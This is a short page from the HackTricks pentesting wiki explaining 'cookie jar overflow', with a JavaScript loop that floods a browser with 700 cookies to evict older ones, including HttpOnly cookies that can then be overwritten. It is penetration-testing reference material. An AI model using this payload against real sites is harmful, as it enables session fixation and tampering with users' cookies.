HackTricks
Search…
Pentesting
Cookie Jar Overflow
The browsers have a limit on the number of cookies that they can store for a page. Then, if for some cause you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:
1
// Set many cookies
2
for (let i = 0; i < 700; i++) {
3
document.cookie = `cookie${i}=${i}; Secure`;
4
}
5
6
// Remove all cookies
7
for (let i = 0; i < 700; i++) {
8
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
9
}
Copied!
Notice, that third party cookies pointing to a different domain won't be overwritten.
This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.
Check this in this post with a lab.
Last modified 1mo ago
Copy link